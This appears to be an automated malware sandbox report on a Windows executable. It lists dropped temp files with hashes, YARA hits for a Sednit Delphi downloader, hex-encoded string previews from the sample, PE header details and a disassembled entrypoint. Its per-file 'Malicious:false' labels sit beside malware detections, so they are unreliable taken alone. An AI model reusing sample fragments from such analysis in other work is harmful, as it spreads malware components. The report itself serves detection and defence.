                                                                                                                                                                                                      C:\Windows\Temp\__PSScriptPolicyTest_b21sc5at.2fi.psm1

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      File Type:very short file (no magic)
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):1
                                                                                                                                                                                                      Entropy (8bit):0.0
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:3:U:U
                                                                                                                                                                                                      MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:1

                                                                                                                                                                                                      C:\Windows\Temp\__PSScriptPolicyTest_isxg4zwt.nb2.ps1

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      File Type:very short file (no magic)
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):1
                                                                                                                                                                                                      Entropy (8bit):0.0
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:3:U:U
                                                                                                                                                                                                      MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:1

                                                                                                                                                                                                      C:\Windows\Temp\aut495E.tmp

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      File Type:data
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):25822
                                                                                                                                                                                                      Entropy (8bit):7.676686877584948
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:768:X4ltkgfpZ92EBn80hR2u5k+G2qqTswsOWDK4dQS97hJw:X4bx9780/k+1TLs3FGOi
                                                                                                                                                                                                      MD5:436C1BB98DEECCECB73FAD945F1DD3DC
                                                                                                                                                                                                      SHA1:774313BA911945589971BBC73498D81F060DABE6
                                                                                                                                                                                                      SHA-256:05EAE1691149CC66E458D5E5B4430BD3B938B278B8BDB2C887A13C9871004C51
                                                                                                                                                                                                      SHA-512:66EA41B9B4A42F7C40D1CE5B6E82A6F03E8489648B912D96A81EFA13D340D4D651078DF7C1302C595CA83408E7208D1D79F02165DC27383952A9ABE7F851C3E2
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:..%...F:.Q&.Y..o4.M&.Y..mC.Lf.)..k6..f.9..T.M.Y..kF....(.I5.M..I..i7.....1....Y..k7.."@...o2.L.......L&....i6.L.....m9..(..@....N......8..2.Y..o4.*fs...g5.4......h.MfSp.`.[.* ..1..&.....2.M.Sy...2.P.......M...X.M&`...Q5... ....7...T@..e3.L.39....L.s..mM@M..fiE.Lf.I...K....mF.Q.A...a5.M....E.4.r...n......@.6@K../.k8..s@./......"....E...f.i..k8..&.0..a2.L.....s2...T`..j.y...m7.L&.9.......Y.(..4...z......... ....L.......T.A.i..o4.f.... .H....`'....DH.......@.....H...2..&.`!Bo3...p.\..@#.,Fr.T..l...R.y....{......Z...@............G.(...hL.S ...6.:..B..........1..@.>@1..0.N.@L.#.....@.....7....>I..iB..(.....@..$..#.....F.M.\...i6.......I..x.9.....M@.0...9@....@....".(..`.....fi4.t..0...& ...j.4L.....L. .Y..g3Y...f .H...1.4....@....jf..P@..5..h.#@%.4.....h........&.....c5...}.z... ...d.(.M..>0.O.kB.Q.T...e2...tY......H*.....V..0.c.T....@......... :..P.....;..P...Vd...x[.L.........CjkC...|SP*..!.bA...L..|...#.2.0@#..'...<..b....D .........h.}..K......mB..r8.-...| m.....i.&@w...@_

                                                                                                                                                                                                      C:\Windows\Temp\aut509C.tmp

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      File Type:data
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):25822
                                                                                                                                                                                                      Entropy (8bit):7.676686877584948
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:768:X4ltkgfpZ92EBn80hR2u5k+G2qqTswsOWDK4dQS97hJw:X4bx9780/k+1TLs3FGOi
                                                                                                                                                                                                      MD5:436C1BB98DEECCECB73FAD945F1DD3DC
                                                                                                                                                                                                      SHA1:774313BA911945589971BBC73498D81F060DABE6
                                                                                                                                                                                                      SHA-256:05EAE1691149CC66E458D5E5B4430BD3B938B278B8BDB2C887A13C9871004C51
                                                                                                                                                                                                      SHA-512:66EA41B9B4A42F7C40D1CE5B6E82A6F03E8489648B912D96A81EFA13D340D4D651078DF7C1302C595CA83408E7208D1D79F02165DC27383952A9ABE7F851C3E2
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:..%...F:.Q&.Y..o4.M&.Y..mC.Lf.)..k6..f.9..T.M.Y..kF....(.I5.M..I..i7.....1....Y..k7.."@...o2.L.......L&....i6.L.....m9..(..@....N......8..2.Y..o4.*fs...g5.4......h.MfSp.`.[.* ..1..&.....2.M.Sy...2.P.......M...X.M&`...Q5... ....7...T@..e3.L.39....L.s..mM@M..fiE.Lf.I...K....mF.Q.A...a5.M....E.4.r...n......@.6@K../.k8..s@./......"....E...f.i..k8..&.0..a2.L.....s2...T`..j.y...m7.L&.9.......Y.(..4...z......... ....L.......T.A.i..o4.f.... .H....`'....DH.......@.....H...2..&.`!Bo3...p.\..@#.,Fr.T..l...R.y....{......Z...@............G.(...hL.S ...6.:..B..........1..@.>@1..0.N.@L.#.....@.....7....>I..iB..(.....@..$..#.....F.M.\...i6.......I..x.9.....M@.0...9@....@....".(..`.....fi4.t..0...& ...j.4L.....L. .Y..g3Y...f .H...1.4....@....jf..P@..5..h.#@%.4.....h........&.....c5...}.z... ...d.(.M..>0.O.kB.Q.T...e2...tY......H*.....V..0.c.T....@......... :..P.....;..P...Vd...x[.L.........CjkC...|SP*..!.bA...L..|...#.2.0@#..'...<..b....D .........h.}..K......mB..r8.-...| m.....i.&@w...@_

                                                                                                                                                                                                      C:\Windows\Temp\aut7521.tmp

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      File Type:data
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):25822
                                                                                                                                                                                                      Entropy (8bit):7.676686877584948
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:768:X4ltkgfpZ92EBn80hR2u5k+G2qqTswsOWDK4dQS97hJw:X4bx9780/k+1TLs3FGOi
                                                                                                                                                                                                      MD5:436C1BB98DEECCECB73FAD945F1DD3DC
                                                                                                                                                                                                      SHA1:774313BA911945589971BBC73498D81F060DABE6
                                                                                                                                                                                                      SHA-256:05EAE1691149CC66E458D5E5B4430BD3B938B278B8BDB2C887A13C9871004C51
                                                                                                                                                                                                      SHA-512:66EA41B9B4A42F7C40D1CE5B6E82A6F03E8489648B912D96A81EFA13D340D4D651078DF7C1302C595CA83408E7208D1D79F02165DC27383952A9ABE7F851C3E2
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:..%...F:.Q&.Y..o4.M&.Y..mC.Lf.)..k6..f.9..T.M.Y..kF....(.I5.M..I..i7.....1....Y..k7.."@...o2.L.......L&....i6.L.....m9..(..@....N......8..2.Y..o4.*fs...g5.4......h.MfSp.`.[.* ..1..&.....2.M.Sy...2.P.......M...X.M&`...Q5... ....7...T@..e3.L.39....L.s..mM@M..fiE.Lf.I...K....mF.Q.A...a5.M....E.4.r...n......@.6@K../.k8..s@./......"....E...f.i..k8..&.0..a2.L.....s2...T`..j.y...m7.L&.9.......Y.(..4...z......... ....L.......T.A.i..o4.f.... .H....`'....DH.......@.....H...2..&.`!Bo3...p.\..@#.,Fr.T..l...R.y....{......Z...@............G.(...hL.S ...6.:..B..........1..@.>@1..0.N.@L.#.....@.....7....>I..iB..(.....@..$..#.....F.M.\...i6.......I..x.9.....M@.0...9@....@....".(..`.....fi4.t..0...& ...j.4L.....L. .Y..g3Y...f .H...1.4....@....jf..P@..5..h.#@%.4.....h........&.....c5...}.z... ...d.(.M..>0.O.kB.Q.T...e2...tY......H*.....V..0.c.T....@......... :..P.....;..P...Vd...x[.L.........CjkC...|SP*..!.bA...L..|...#.2.0@#..'...<..b....D .........h.}..K......mB..r8.-...| m.....i.&@w...@_

                                                                                                                                                                                                      C:\Windows\Temp\autE4F2.tmp

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      File Type:data
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):25822
                                                                                                                                                                                                      Entropy (8bit):7.676686877584948
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:768:X4ltkgfpZ92EBn80hR2u5k+G2qqTswsOWDK4dQS97hJw:X4bx9780/k+1TLs3FGOi
                                                                                                                                                                                                      MD5:436C1BB98DEECCECB73FAD945F1DD3DC
                                                                                                                                                                                                      SHA1:774313BA911945589971BBC73498D81F060DABE6
                                                                                                                                                                                                      SHA-256:05EAE1691149CC66E458D5E5B4430BD3B938B278B8BDB2C887A13C9871004C51
                                                                                                                                                                                                      SHA-512:66EA41B9B4A42F7C40D1CE5B6E82A6F03E8489648B912D96A81EFA13D340D4D651078DF7C1302C595CA83408E7208D1D79F02165DC27383952A9ABE7F851C3E2
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:..%...F:.Q&.Y..o4.M&.Y..mC.Lf.)..k6..f.9..T.M.Y..kF....(.I5.M..I..i7.....1....Y..k7.."@...o2.L.......L&....i6.L.....m9..(..@....N......8..2.Y..o4.*fs...g5.4......h.MfSp.`.[.* ..1..&.....2.M.Sy...2.P.......M...X.M&`...Q5... ....7...T@..e3.L.39....L.s..mM@M..fiE.Lf.I...K....mF.Q.A...a5.M....E.4.r...n......@.6@K../.k8..s@./......"....E...f.i..k8..&.0..a2.L.....s2...T`..j.y...m7.L&.9.......Y.(..4...z......... ....L.......T.A.i..o4.f.... .H....`'....DH.......@.....H...2..&.`!Bo3...p.\..@#.,Fr.T..l...R.y....{......Z...@............G.(...hL.S ...6.:..B..........1..@.>@1..0.N.@L.#.....@.....7....>I..iB..(.....@..$..#.....F.M.\...i6.......I..x.9.....M@.0...9@....@....".(..`.....fi4.t..0...& ...j.4L.....L. .Y..g3Y...f .H...1.4....@....jf..P@..5..h.#@%.4.....h........&.....c5...}.z... ...d.(.M..>0.O.kB.Q.T...e2...tY......H*.....V..0.c.T....@......... :..P.....;..P...Vd...x[.L.........CjkC...|SP*..!.bA...L..|...#.2.0@#..'...<..b....D .........h.}..K......mB..r8.-...| m.....i.&@w...@_

                                                                                                                                                                                                      C:\Windows\Temp\knfamxr

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      File Type:ASCII text, with very long lines, with no line terminators
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):83514
                                                                                                                                                                                                      Entropy (8bit):3.495672104133364
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:1536:QxUzapK6b5Hg7OoSZ9f7fOxrIGyiBquTsR3cgwO0wNP02:wo8GQ
                                                                                                                                                                                                      MD5:940B1915CADEE0E2B33D80799816F6C7
                                                                                                                                                                                                      SHA1:2C10E4FEC3E8C054055D1ED78757117575F273F2
                                                                                                                                                                                                      SHA-256:81E89E7266CFE5158E44F5578C8BE61353E781DAEBDD47A33597E9EC503D379C
                                                                                                                                                                                                      SHA-512:CC3C574FD5392C1B54146B591E22B1C01C95E34A602C403AD96C49B7EE6AD31D1478A00CC1334286ADDC5CB94496372A172745E9AD20554023E1E22C7DA1E1C5
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Yara Hits:
                                                                                                                                                                                                      • Rule: MAL_Sednit_DelphiDownloader_Apr18_2, Description: Detects malware from Sednit Delphi Downloader report, Source: C:\Windows\Temp\knfamxr, Author: Florian Roth
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:4D7573744465636C61726556617273!7ET4755495F52554E4445464D5347!7ET47554944617461536570617261746F7243686172!7ET20404C4620!7ET57696E44657465637448696464656E54657874!7ET312E35!7ET506F77657252756E!7ET202D20417574686F7220627920426C75654C696665!7ET5B434C4153533A506F77657252756E3A76!7ET5D!7ET323031362D32303231!7ET2040557365724E616D6520!7ET2040436F6D70696C656420!7ET20404175746F497445786520!7ET20404F534172636820!7ET20404175746F497458363420!7ET20404F5356657273696F6E20!7ET20404F5356657273696F6E20!7ET5F2858507C32303028307C332929!7ET4F7065726174696E672053797374656D204E6F7420537570706F7274656421!7ET546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321!7ET204053637269707444697220!7ET204057696E646F777344697220!7ET53797374656D33325C!7ET2040576F726B696E6744697220!7ET6B65726E656C33322E646C6C!7ET7573657233322E646C6C!7ET61647661706933322E646C6C!7ET7368656C6C33322E646C6C!7ET6F6C6533322E646C6C!7ET73686C776170692E646C6C!7ET67646933322E646C6C!7ET484B4C4D!7ET48

                                                                                                                                                                                                      C:\Windows\Temp\lzrtlkc

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      File Type:ASCII text, with very long lines, with no line terminators
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):83514
                                                                                                                                                                                                      Entropy (8bit):3.495672104133364
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:1536:QxUzapK6b5Hg7OoSZ9f7fOxrIGyiBquTsR3cgwO0wNP02:wo8GQ
                                                                                                                                                                                                      MD5:940B1915CADEE0E2B33D80799816F6C7
                                                                                                                                                                                                      SHA1:2C10E4FEC3E8C054055D1ED78757117575F273F2
                                                                                                                                                                                                      SHA-256:81E89E7266CFE5158E44F5578C8BE61353E781DAEBDD47A33597E9EC503D379C
                                                                                                                                                                                                      SHA-512:CC3C574FD5392C1B54146B591E22B1C01C95E34A602C403AD96C49B7EE6AD31D1478A00CC1334286ADDC5CB94496372A172745E9AD20554023E1E22C7DA1E1C5
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Yara Hits:
                                                                                                                                                                                                      • Rule: MAL_Sednit_DelphiDownloader_Apr18_2, Description: Detects malware from Sednit Delphi Downloader report, Source: C:\Windows\Temp\lzrtlkc, Author: Florian Roth
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:4D7573744465636C61726556617273!7ET4755495F52554E4445464D5347!7ET47554944617461536570617261746F7243686172!7ET20404C4620!7ET57696E44657465637448696464656E54657874!7ET312E35!7ET506F77657252756E!7ET202D20417574686F7220627920426C75654C696665!7ET5B434C4153533A506F77657252756E3A76!7ET5D!7ET323031362D32303231!7ET2040557365724E616D6520!7ET2040436F6D70696C656420!7ET20404175746F497445786520!7ET20404F534172636820!7ET20404175746F497458363420!7ET20404F5356657273696F6E20!7ET20404F5356657273696F6E20!7ET5F2858507C32303028307C332929!7ET4F7065726174696E672053797374656D204E6F7420537570706F7274656421!7ET546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321!7ET204053637269707444697220!7ET204057696E646F777344697220!7ET53797374656D33325C!7ET2040576F726B696E6744697220!7ET6B65726E656C33322E646C6C!7ET7573657233322E646C6C!7ET61647661706933322E646C6C!7ET7368656C6C33322E646C6C!7ET6F6C6533322E646C6C!7ET73686C776170692E646C6C!7ET67646933322E646C6C!7ET484B4C4D!7ET48

                                                                                                                                                                                                      C:\Windows\Temp\wumeift

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      File Type:ASCII text, with very long lines, with no line terminators
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):83514
                                                                                                                                                                                                      Entropy (8bit):3.495672104133364
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:1536:QxUzapK6b5Hg7OoSZ9f7fOxrIGyiBquTsR3cgwO0wNP02:wo8GQ
                                                                                                                                                                                                      MD5:940B1915CADEE0E2B33D80799816F6C7
                                                                                                                                                                                                      SHA1:2C10E4FEC3E8C054055D1ED78757117575F273F2
                                                                                                                                                                                                      SHA-256:81E89E7266CFE5158E44F5578C8BE61353E781DAEBDD47A33597E9EC503D379C
                                                                                                                                                                                                      SHA-512:CC3C574FD5392C1B54146B591E22B1C01C95E34A602C403AD96C49B7EE6AD31D1478A00CC1334286ADDC5CB94496372A172745E9AD20554023E1E22C7DA1E1C5
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Yara Hits:
                                                                                                                                                                                                      • Rule: MAL_Sednit_DelphiDownloader_Apr18_2, Description: Detects malware from Sednit Delphi Downloader report, Source: C:\Windows\Temp\wumeift, Author: Florian Roth
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:4D7573744465636C61726556617273!7ET4755495F52554E4445464D5347!7ET47554944617461536570617261746F7243686172!7ET20404C4620!7ET57696E44657465637448696464656E54657874!7ET312E35!7ET506F77657252756E!7ET202D20417574686F7220627920426C75654C696665!7ET5B434C4153533A506F77657252756E3A76!7ET5D!7ET323031362D32303231!7ET2040557365724E616D6520!7ET2040436F6D70696C656420!7ET20404175746F497445786520!7ET20404F534172636820!7ET20404175746F497458363420!7ET20404F5356657273696F6E20!7ET20404F5356657273696F6E20!7ET5F2858507C32303028307C332929!7ET4F7065726174696E672053797374656D204E6F7420537570706F7274656421!7ET546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321!7ET204053637269707444697220!7ET204057696E646F777344697220!7ET53797374656D33325C!7ET2040576F726B696E6744697220!7ET6B65726E656C33322E646C6C!7ET7573657233322E646C6C!7ET61647661706933322E646C6C!7ET7368656C6C33322E646C6C!7ET6F6C6533322E646C6C!7ET73686C776170692E646C6C!7ET67646933322E646C6C!7ET484B4C4D!7ET48

                                                                                                                                                                                                      C:\Windows\Temp\yhdzsbk

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      File Type:ASCII text, with very long lines, with no line terminators
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):83514
                                                                                                                                                                                                      Entropy (8bit):3.495672104133364
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:1536:QxUzapK6b5Hg7OoSZ9f7fOxrIGyiBquTsR3cgwO0wNP02:wo8GQ
                                                                                                                                                                                                      MD5:940B1915CADEE0E2B33D80799816F6C7
                                                                                                                                                                                                      SHA1:2C10E4FEC3E8C054055D1ED78757117575F273F2
                                                                                                                                                                                                      SHA-256:81E89E7266CFE5158E44F5578C8BE61353E781DAEBDD47A33597E9EC503D379C
                                                                                                                                                                                                      SHA-512:CC3C574FD5392C1B54146B591E22B1C01C95E34A602C403AD96C49B7EE6AD31D1478A00CC1334286ADDC5CB94496372A172745E9AD20554023E1E22C7DA1E1C5
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Yara Hits:
                                                                                                                                                                                                      • Rule: MAL_Sednit_DelphiDownloader_Apr18_2, Description: Detects malware from Sednit Delphi Downloader report, Source: C:\Windows\Temp\yhdzsbk, Author: Florian Roth
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:4D7573744465636C61726556617273!7ET4755495F52554E4445464D5347!7ET47554944617461536570617261746F7243686172!7ET20404C4620!7ET57696E44657465637448696464656E54657874!7ET312E35!7ET506F77657252756E!7ET202D20417574686F7220627920426C75654C696665!7ET5B434C4153533A506F77657252756E3A76!7ET5D!7ET323031362D32303231!7ET2040557365724E616D6520!7ET2040436F6D70696C656420!7ET20404175746F497445786520!7ET20404F534172636820!7ET20404175746F497458363420!7ET20404F5356657273696F6E20!7ET20404F5356657273696F6E20!7ET5F2858507C32303028307C332929!7ET4F7065726174696E672053797374656D204E6F7420537570706F7274656421!7ET546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321!7ET204053637269707444697220!7ET204057696E646F777344697220!7ET53797374656D33325C!7ET2040576F726B696E6744697220!7ET6B65726E656C33322E646C6C!7ET7573657233322E646C6C!7ET61647661706933322E646C6C!7ET7368656C6C33322E646C6C!7ET6F6C6533322E646C6C!7ET73686C776170692E646C6C!7ET67646933322E646C6C!7ET484B4C4D!7ET48

                                                                                                                                                                                                      Static File Info

                                                                                                                                                                                                      General

                                                                                                                                                                                                      File type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                                                                                                      Entropy (8bit):6.458403738052525
                                                                                                                                                                                                      TrID:
                                                                                                                                                                                                      • Win64 Executable Console (202006/5) 92.65%
                                                                                                                                                                                                      • Win64 Executable (generic) (12005/4) 5.51%
                                                                                                                                                                                                      • Generic Win/DOS Executable (2004/3) 0.92%
                                                                                                                                                                                                      • DOS Executable Generic (2002/1) 0.92%
                                                                                                                                                                                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                      File name:2dOeahdsto.exe
                                                                                                                                                                                                      File size:450560
                                                                                                                                                                                                      MD5:a0e067202878bd30c6b2a0583982f1fd
                                                                                                                                                                                                      SHA1:b1bccf4a24d19c2c5626d9de0a2af042e2be66e1
                                                                                                                                                                                                      SHA256:e1dcadc94c7659b12eca375e35858bf68ea02a626078dd5e41eb9bede572417c
                                                                                                                                                                                                      SHA512:5e28705ee930d96aee173589132c5bdd1b37b0897b8e9cbebfd5e559fbe7c84c12209209f71edf3adba856a899c627730535b90e9c6f1333f3fea44fe917726b
                                                                                                                                                                                                      SSDEEP:12288:N9oobTPfcw8236lPye4sa4D0/EEq+oaq79Tqo5a:LLbzVjqn4snD0/E7+oa2Tq1
                                                                                                                                                                                                      TLSH:2BA49E1662A904F8E0B7D27CC9934947E67678160361D7EF03A8D6762F236E05E3EF60
                                                                                                                                                                                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ .[.A...A...A...'...A...'..pA....)..A...4...A...4...A...4...A..z4...A..z4...A...'...A...'...A...'...A...A..aA...4...A...4+..A.

                                                                                                                                                                                                      File Icon

                                                                                                                                                                                                      Icon Hash:00828e8e8686b000

                                                                                                                                                                                                      Static PE Info

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Entrypoint:0x1400228f8
                                                                                                                                                                                                      Entrypoint Section:.text
                                                                                                                                                                                                      Digitally signed:false
                                                                                                                                                                                                      Imagebase:0x140000000
                                                                                                                                                                                                      Subsystem:windows cui
                                                                                                                                                                                                      Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                                                                                                                                                                      DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                                                                                                                                                                      Time Stamp:0x62CB4473 [Sun Jul 10 21:28:19 2022 UTC]
                                                                                                                                                                                                      TLS Callbacks:
                                                                                                                                                                                                      CLR (.Net) Version:
                                                                                                                                                                                                      OS Version Major:6
                                                                                                                                                                                                      OS Version Minor:0
                                                                                                                                                                                                      File Version Major:6
                                                                                                                                                                                                      File Version Minor:0
                                                                                                                                                                                                      Subsystem Version Major:6
                                                                                                                                                                                                      Subsystem Version Minor:0
                                                                                                                                                                                                      Import Hash:c7c63cc596fb58b7c13697106af6e6a0

                                                                                                                                                                                                      Entrypoint Preview

                                                                                                                                                                                                      Instruction
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      sub esp, 28h
                                                                                                                                                                                                      call 00007EFCA0D83630h
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      add esp, 28h
                                                                                                                                                                                                      jmp 00007EFCA0D82C37h
                                                                                                                                                                                                      int3
                                                                                                                                                                                                      int3
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      sub esp, 28h
                                                                                                                                                                                                      dec ebp
                                                                                                                                                                                                      mov eax, dword ptr [ecx+38h]
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      mov ecx, edx
                                                                                                                                                                                                      dec ecx
                                                                                                                                                                                                      mov edx, ecx
                                                                                                                                                                                                      call 00007EFCA0D82DD2h
                                                                                                                                                                                                      mov eax, 00000001h
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      add esp, 28h
                                                                                                                                                                                                      ret
                                                                                                                                                                                                      int3
                                                                                                                                                                                                      int3
                                                                                                                                                                                                      int3
                                                                                                                                                                                                      inc eax
                                                                                                                                                                                                      push ebx
                                                                                                                                                                                                      inc ebp
                                                                                                                                                                                                      mov ebx, dword ptr [eax]
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      mov ebx, edx
                                                                                                                                                                                                      inc ecx
                                                                                                                                                                                                      and ebx, FFFFFFF8h
                                                                                                                                                                                                      dec esp
                                                                                                                                                                                                      mov ecx, ecx
                                                                                                                                                                                                      inc ecx
                                                                                                                                                                                                      test byte ptr [eax], 00000004h
                                                                                                                                                                                                      dec esp
                                                                                                                                                                                                      mov edx, ecx
                                                                                                                                                                                                      je 00007EFCA0D82DD5h
                                                                                                                                                                                                      inc ecx
                                                                                                                                                                                                      mov eax, dword ptr [eax+08h]
                                                                                                                                                                                                      dec ebp
                                                                                                                                                                                                      arpl word ptr [eax+04h], dx
                                                                                                                                                                                                      neg eax
                                                                                                                                                                                                      dec esp
                                                                                                                                                                                                      add edx, ecx
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      arpl ax, cx
                                                                                                                                                                                                      dec esp
                                                                                                                                                                                                      and edx, ecx
                                                                                                                                                                                                      dec ecx
                                                                                                                                                                                                      arpl bx, ax
                                                                                                                                                                                                      dec edx
                                                                                                                                                                                                      mov edx, dword ptr [eax+edx]
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      mov eax, dword ptr [ebx+10h]
                                                                                                                                                                                                      mov ecx, dword ptr [eax+08h]
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      mov eax, dword ptr [ebx+08h]
                                                                                                                                                                                                      test byte ptr [ecx+eax+03h], 0000000Fh
                                                                                                                                                                                                      je 00007EFCA0D82DCDh
                                                                                                                                                                                                      movzx eax, byte ptr [ecx+eax+03h]
                                                                                                                                                                                                      and eax, FFFFFFF0h
                                                                                                                                                                                                      dec esp
                                                                                                                                                                                                      add ecx, eax
                                                                                                                                                                                                      dec esp
                                                                                                                                                                                                      xor ecx, edx
                                                                                                                                                                                                      dec ecx
                                                                                                                                                                                                      mov ecx, ecx
                                                                                                                                                                                                      pop ebx
                                                                                                                                                                                                      jmp 00007EFCA0D827EEh
                                                                                                                                                                                                      int3
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      mov eax, esp
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      mov dword ptr [eax+08h], ebx
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      mov dword ptr [eax+10h], ebp
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      mov dword ptr [eax+18h], esi
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      mov dword ptr [eax+20h], edi
                                                                                                                                                                                                      inc ecx
                                                                                                                                                                                                      push esi
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      sub esp, 20h
                                                                                                                                                                                                      dec ecx
                                                                                                                                                                                                      mov ebx, dword ptr [ecx+38h]
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      mov esi, edx
                                                                                                                                                                                                      dec ebp
                                                                                                                                                                                                      mov esi, eax
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      mov ebp, ecx
                                                                                                                                                                                                      dec ecx
                                                                                                                                                                                                      mov edx, ecx
                                                                                                                                                                                                      dec eax
                                                                                                                                                                                                      mov ecx, esi
                                                                                                                                                                                                      dec ecx
                                                                                                                                                                                                      mov edi, ecx
                                                                                                                                                                                                      dec esp
                                                                                                                                                                                                      lea eax, dword ptr [ebx+04h]
                                                                                                                                                                                                      call 00007EFCA0D82D31h

                                                                                                                                                                                                      Data Directories

                                                                                                                                                                                                      NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0x679940xb4.rdata
